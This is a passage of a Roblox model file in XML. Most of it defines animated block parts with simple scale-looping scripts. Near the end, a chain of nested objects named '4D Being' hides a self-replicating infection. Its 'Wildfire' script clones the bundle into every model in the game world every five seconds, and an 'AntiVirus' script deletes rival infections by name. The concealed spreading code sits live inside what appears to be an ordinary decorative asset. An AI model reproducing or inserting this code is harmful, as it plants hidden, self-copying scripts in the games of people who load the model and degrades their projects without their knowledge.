										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX991">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>83.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX992">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX993">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">cvgb</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX994">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2.20000005</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX995">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">1outih</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX996">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">uyjjb3rud</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX997">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX998">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>82.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX999">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX1000">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">uaj3</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX1001">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2.4000001</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX1002">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">254r6m33</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX1003">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">6ixvqz6</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX1004">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1005">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>81.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX1006">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX1007">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">gems6</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX1008">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2.5999999</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX1009">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">5l36cghfr</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX1010">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">6vvhl214</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX1011">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX1012">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">rbejgba</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="VelocityMotor" referent="RBX1013">
							<Properties>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<float name="CurrentAngle">0</float>
								<float name="DesiredAngle">0</float>
								<Ref name="Hole">null</Ref>
								<float name="MaxVelocity">0</float>
								<string name="Name">4D Being</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="VelocityMotor" referent="RBX1014">
								<Properties>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<float name="CurrentAngle">0</float>
									<float name="DesiredAngle">0</float>
									<Ref name="Hole">null</Ref>
									<float name="MaxVelocity">0</float>
									<string name="Name">4D Being</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="VelocityMotor" referent="RBX1015">
									<Properties>
										<CoordinateFrame name="C0">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<CoordinateFrame name="C1">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<float name="CurrentAngle">0</float>
										<float name="DesiredAngle">0</float>
										<Ref name="Hole">null</Ref>
										<float name="MaxVelocity">0</float>
										<string name="Name">4D Being</string>
										<Ref name="Part0">null</Ref>
										<Ref name="Part1">null</Ref>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="VelocityMotor" referent="RBX1016">
										<Properties>
											<CoordinateFrame name="C0">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
												<R00>1</R00>
												<R01>0</R01>
												<R02>0</R02>
												<R10>0</R10>
												<R11>1</R11>
												<R12>0</R12>
												<R20>0</R20>
												<R21>0</R21>
												<R22>1</R22>
											</CoordinateFrame>
											<CoordinateFrame name="C1">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
												<R00>1</R00>
												<R01>0</R01>
												<R02>0</R02>
												<R10>0</R10>
												<R11>1</R11>
												<R12>0</R12>
												<R20>0</R20>
												<R21>0</R21>
												<R22>1</R22>
											</CoordinateFrame>
											<float name="CurrentAngle">0</float>
											<float name="DesiredAngle">0</float>
											<Ref name="Hole">null</Ref>
											<float name="MaxVelocity">0</float>
											<string name="Name">4D Being</string>
											<Ref name="Part0">null</Ref>
											<Ref name="Part1">null</Ref>
											<bool name="archivable">true</bool>
										</Properties>
										<Item class="VelocityMotor" referent="RBX1017">
											<Properties>
												<CoordinateFrame name="C0">
													<X>0</X>
													<Y>0</Y>
													<Z>0</Z>
													<R00>1</R00>
													<R01>0</R01>
													<R02>0</R02>
													<R10>0</R10>
													<R11>1</R11>
													<R12>0</R12>
													<R20>0</R20>
													<R21>0</R21>
													<R22>1</R22>
												</CoordinateFrame>
												<CoordinateFrame name="C1">
													<X>0</X>
													<Y>0</Y>
													<Z>0</Z>
													<R00>1</R00>
													<R01>0</R01>
													<R02>0</R02>
													<R10>0</R10>
													<R11>1</R11>
													<R12>0</R12>
													<R20>0</R20>
													<R21>0</R21>
													<R22>1</R22>
												</CoordinateFrame>
												<float name="CurrentAngle">0</float>
												<float name="DesiredAngle">0</float>
												<Ref name="Hole">null</Ref>
												<float name="MaxVelocity">0</float>
												<string name="Name">4D Being</string>
												<Ref name="Part0">null</Ref>
												<Ref name="Part1">null</Ref>
												<bool name="archivable">true</bool>
											</Properties>
											<Item class="Script" referent="RBX1018">
												<Properties>
													<bool name="Disabled">false</bool>
													<Content name="LinkedSource"><null></null></Content>
													<string name="Name">Script</string>
													<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
													<bool name="archivable">true</bool>
												</Properties>
												<Item class="Model" referent="RBX1019">
													<Properties>
														<CoordinateFrame name="ModelInPrimary">
															<X>0</X>
															<Y>0</Y>
															<Z>0</Z>
															<R00>1</R00>
															<R01>0</R01>
															<R02>0</R02>
															<R10>0</R10>
															<R11>1</R11>
															<R12>0</R12>
															<R20>0</R20>
															<R21>0</R21>
															<R22>1</R22>
														</CoordinateFrame>
														<string name="Name">4D Being</string>
														<Ref name="PrimaryPart">null</Ref>
														<bool name="archivable">true</bool>
													</Properties>
													<Item class="Script" referent="RBX1020">
														<Properties>
															<bool name="Disabled">false</bool>
															<Content name="LinkedSource"><null></null></Content>
															<string name="Name">Wildfire</string>
															<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
															<bool name="archivable">true</bool>
														</Properties>
													</Item>
													<Item class="Script" referent="RBX1021">
														<Properties>
															<bool name="Disabled">false</bool>
															<Content name="LinkedSource"><null></null></Content>
															<string name="Name">AntiVirus</string>
															<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
															<bool name="archivable">true</bool>
														</Properties>
													</Item>
												</Item>
											</Item>
										</Item>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="VelocityMotor" referent="RBX1022">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<float name="CurrentAngle">0</float>
							<float name="DesiredAngle">0</float>
							<Ref name="Hole">null</Ref>
